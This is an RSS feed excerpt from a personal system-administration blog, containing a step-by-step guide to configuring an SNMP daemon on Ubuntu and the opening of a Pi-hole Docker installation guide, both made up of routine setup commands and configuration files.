&lt;li&gt;&lt;a href="https://docs.github.com/en/authentication/managing-commit-signature-verification/adding-a-new-gpg-key-to-your-github-account"&gt;GitHub Docs - Adding a new GPG key to your GitHub account&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://docs.github.com/en/authentication/managing-commit-signature-verification/associating-an-email-with-your-gpg-key"&gt;GitHub Docs - Associating an email with your GPG key&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.gnupg.org/documentation/manuals/gnupg/Invoking-GPG_002dAGENT.html"&gt;GnuPG Docs - Invoking GPG-AGENT&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>SNMP Daemon Configure</title><link>https://thanoskoutr.com/posts/snmp-configure/</link><pubDate>Sun, 13 Feb 2022 16:02:00 +0200</pubDate><guid>https://thanoskoutr.com/posts/snmp-configure/</guid><description>
&lt;img src="https://thanoskoutr.com/covers/snmp.jpg"/&gt;
&lt;p&gt;In the system administrator world, a large part of the work is to monitor the servers and all systems in infrastructure to make sure of their correct operation and to prevent any kind of malfunction or problems.&lt;/p&gt;
&lt;p&gt;One protocol that allows devices to share their status with a monitoring server is SNMP, which is widely used in the networking world, in switches, routers, firewalls, or access points. SNMP&amp;rsquo;s main benefit is that, if the device supports it, it is very easy to remotely query them for their status and even change their configuration.&lt;/p&gt;
&lt;p&gt;We don&amp;rsquo;t have to use SNMP only on networking equipment, we can install an SNMP Daemon in our server to use many monitoring applications that rely on the protocol to get status data from a device.&lt;/p&gt;
&lt;h2 id="install-snmp-daemon"&gt;
Install SNMP Daemon
&lt;a href="#install-snmp-daemon" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo apt update
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo apt install snmpd
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="check-installation"&gt;
Check Installation
&lt;a href="#check-installation" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;Once the installation is completed, the SNMP Daemon will start automatically.
You can verify it by checking the status of the service:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo systemctl status snmpd
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="configure-snmp-daemon"&gt;
Configure SNMP Daemon
&lt;a href="#configure-snmp-daemon" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;h3 id="edit-configuration-file"&gt;
Edit configuration file
&lt;a href="#edit-configuration-file" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;The configuration file is in &lt;code&gt;/etc/snmp/snmpd.conf&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;It is best to keep a backup of the original configuration:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo cp /etc/snmp/snmpd.conf&lt;span style="color:#f92672"&gt;{&lt;/span&gt;,.backup&lt;span style="color:#f92672"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Open the configuration file with your text editor:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo vim /etc/snmp/snmpd.conf
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="configure-agentaddress"&gt;
Configure agentAddress
&lt;a href="#configure-agentaddress" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;The default configuration is to allow connections only from the local system, which is not ideal if we want to monitor the server from another device.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;###############################################################################&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# AGENT BEHAVIOUR&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Listen for connections from the local system only&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;agentAddress udp:127.0.0.1:161
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Listen for connections on all interfaces (both IPv4 *and* IPv6)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#agentAddress udp:161,udp6:[::1]:161&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;In this configuration we will configure the server to listen from all interfaces, so comment the loopback line and uncomment the all interfaces line:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Listen for connections from the local system only&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#agentAddress udp:127.0.0.1:161&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Listen for connections on all interfaces (both IPv4 *and* IPv6)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;agentAddress udp:161,udp6:&lt;span style="color:#f92672"&gt;[&lt;/span&gt;::1&lt;span style="color:#f92672"&gt;]&lt;/span&gt;:161
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="configure-community-string"&gt;
Configure community string
&lt;a href="#configure-community-string" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;SNMP v1 and SNMP v2c, provide authentication using &lt;code&gt;community string&lt;/code&gt;, which is a shared secret between the agent and the client that is passed in clear text over the network. We won&amp;rsquo;t need the authentication and encryption of the SNMP v3 protocol, as the SNMP service is available only on the local network.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;###############################################################################&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# ACCESS CONTROL&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# system + hrSystem groups only&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;view systemonly included .1.3.6.1.2.1.1
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;view systemonly included .1.3.6.1.2.1.25.1
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Full access from the local host&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#rocommunity public localhost&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Default access to basic system info&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; rocommunity public default -V systemonly
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# rocommunity6 is for IPv6&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; rocommunity6 public default -V systemonly
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Full access from an example network&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Adjust this network address to match your local&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# settings, change the community string,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# and check the &amp;#39;agentAddress&amp;#39; setting above&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#rocommunity secret 10.0.0.0/16&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Uncomment the community secret and change to something you want (here using the default &lt;code&gt;public&lt;/code&gt;, but please change to something else) and allow connections from your local network:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;rocommunity public 192.168.1.0/24
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;You can change the subnet (&lt;code&gt;192.168.1.0/24&lt;/code&gt;) depending on your local network.&lt;/p&gt;
&lt;h3 id="fix-trapsink-bug"&gt;
Fix trapsink bug
&lt;a href="#fix-trapsink-bug" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;In the Debian and Ubuntu versions of &lt;code&gt;snmpd&lt;/code&gt; below &lt;code&gt;5.8.1&lt;/code&gt; there is a bug in the &lt;code&gt;/etc/snmp/snmpd.conf&lt;/code&gt; file.&lt;/p&gt;
&lt;p&gt;Search for:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;trapsink localhost public
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;and add &lt;code&gt;:162&lt;/code&gt; after &lt;code&gt;localhost&lt;/code&gt;, such as:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;trapsink localhost:162 public
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="restart-snmp-daemon"&gt;
Restart SNMP Daemon
&lt;a href="#restart-snmp-daemon" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;Each time you edit a configuration file, you need to restart the SNMP Daemon
for changes to take effect:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo systemctl restart snmpd
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="configure-firewall"&gt;
Configure Firewall
&lt;a href="#configure-firewall" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;If you have a firewall running on your Ubuntu system you’ll need to allow incoming connections on ports &lt;strong&gt;161&lt;/strong&gt; from anywhere in our local network.
Assuming you are using UFW to manage your firewall, you can open the ports by enabling:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo ufw allow from 192.168.1.0/24 to any port &lt;span style="color:#ae81ff"&gt;161&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;You can change the subnet (&lt;code&gt;192.168.1.0/24&lt;/code&gt;) depending on your local network.&lt;/p&gt;
&lt;h2 id="snmp-client"&gt;
SNMP Client
&lt;a href="#snmp-client" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;SNMP ships with a command-line tool&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo apt update
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo apt install snmp
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="check-the-status-of-the-daemon"&gt;
Check the status of the daemon
&lt;a href="#check-the-status-of-the-daemon" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;To check the status of the daemon, we specify the SNMP version (&lt;code&gt;-v&lt;/code&gt; flag) and we give as arguments the community string and the IP of the SNMP server:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;snmpwalk -v 2c -c public localhost
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If we get a list of values back from the server we know the configuration works.&lt;/p&gt;
&lt;h2 id="links"&gt;
Links
&lt;a href="#links" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://martinsblog.dk/linux-how-do-i-enable-snmp-on-ubuntu/"&gt;LINUX: How do I enable SNMP on Ubuntu&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-an-snmp-daemon-and-client-on-ubuntu-18-04#step-1-installing-the-snmp-daemon-and-utilities"&gt;Digital Ocean - How To Install and Configure an SNMP Daemon and Client on Ubuntu 18.04&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/net-snmp/net-snmp/issues/34"&gt;GitHub Issues - net-snmp v5.8 bug&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.linuxproblem.org/art_7.html"&gt;How to make the SNMP agent accessible over the network&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Pi-hole Docker Install</title><link>https://thanoskoutr.com/posts/pi-hole-install/</link><pubDate>Sat, 22 Jan 2022 18:49:49 +0300</pubDate><guid>https://thanoskoutr.com/posts/pi-hole-install/</guid><description>
&lt;img src="https://thanoskoutr.com/covers/pi-hole.webp"/&gt;
&lt;p&gt;&lt;a href="https://pi-hole.net/"&gt;Pi-hole®&lt;/a&gt; is a DNS sinkhole that protects your devices from unwanted content, without installing any client-side software.&lt;/p&gt;
&lt;p&gt;We will use Pi-hole as our DNS server in our local network in order to block ads on all devices. It is important for Pi-hole to be run on a device or server that is constantly running, as we will configure our router to point to this device for any DNS query. So without it running we will not be able to access any webpage.&lt;/p&gt;
&lt;p&gt;Specifically, in this guide we will configure Pi-hole to run as a Docker container in our Ubuntu server which is located in our local network. This is a very convenient way of installing it, as we do not need an extra device only yo run Pi-hole.&lt;/p&gt;
&lt;p&gt;The same steps could be done to configure Pi-hole in the cloud or on a remote server, but some additional steps are needed to make the remote server and connection to it secure.&lt;/p&gt;
&lt;p&gt;This guide assumes, that &lt;a href="https://thanoskoutr.com/posts/docker-install/"&gt;Docker&lt;/a&gt; and &lt;a href="https://thanoskoutr.com/posts/docker-compose-install/"&gt;Docker Compose&lt;/a&gt; is already installed in your system.&lt;/p&gt;
&lt;h2 id="stop-dns-resolver"&gt;
Stop DNS resolver
&lt;a href="#stop-dns-resolver" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;For Ubuntu based systems, we first need to stop and disable the existing DNS resolver, as we will use Pi-hole as our DNS resolver:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo systemctl stop systemd-resolved.service
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo systemctl disable systemd-resolved.service
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now we do not have any internet access, because we need to change the DNS server in the system setting:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo vim /etc/resolv.conf
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Change the default DNS address to some other, like Cloudflare DNS &lt;code&gt;1.1.1.1&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-ini" data-lang="ini"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# nameserver 127.0.0.53&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;nameserver 1.1.1.1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="run-pi-hole-using-docker"&gt;
Run Pi-hole Using Docker
&lt;a href="#run-pi-hole-using-docker" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;h3 id="download-pi-hole-dockers-repository"&gt;
Download Pi-hole Docker&amp;rsquo;s repository
&lt;a href="#download-pi-hole-dockers-repository" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Clone the Pi-hole repository in your system and navigate into it:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;git clone https://github.com/pi-hole/docker-pi-hole.git
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cd docker-pi-hole
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Copy the example &lt;code&gt;docker-compose.yml.example&lt;/code&gt; file:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cp docker-compose.yml.example docker-compose.yml
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Open the &lt;code&gt;docker-compose.yml&lt;/code&gt; file:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-yml" data-lang="yml"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;version&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;3&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# https://github.com/pi-hole/docker-pi-hole/blob/master/README.md&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;services&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;pihole&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;container_name&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;pihole&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;image&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;pihole/pihole:latest&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# For DHCP it is recommended to remove these ports and instead add: network_mode: &amp;#34;host&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;ports&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; - &lt;span style="color:#e6db74"&gt;&amp;#34;53:53/tcp&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; - &lt;span style="color:#e6db74"&gt;&amp;#34;53:53/udp&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; - &lt;span style="color:#e6db74"&gt;&amp;#34;67:67/udp&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; - &lt;span style="color:#e6db74"&gt;&amp;#34;80:80/tcp&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;environment&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;TZ&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;America/Chicago&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# WEBPASSWORD: &amp;#39;set a secure password here or it will be random&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Volumes store your data between container upgrades&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;volumes&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; - &lt;span style="color:#e6db74"&gt;&amp;#34;./etc-pihole:/etc/pihole&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; - &lt;span style="color:#e6db74"&gt;&amp;#34;./etc-dnsmasq.d:/etc/dnsmasq.d&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# run `touch ./var-log/pihole.log` first unless you like errors&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# - &amp;#39;./var-log/pihole.log:/var/log/pihole.log&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Recommended but not required (DHCP needs NET_ADMIN)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# https://github.com/pi-hole/docker-pi-hole#note-on-capabilities&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;cap_add&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; - &lt;span style="color:#ae81ff"&gt;NET_ADMIN&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;restart&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;unless-stopped&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="modify-docker-compose-file"&gt;
Modify Docker Compose file
&lt;a href="#modify-docker-compose-file" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;We need to modify it to work with our personal setting.&lt;/p&gt;
&lt;h4 id="delete-dhcp-port"&gt;
Delete DHCP Port
&lt;a href="#delete-dhcp-port" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h4&gt;
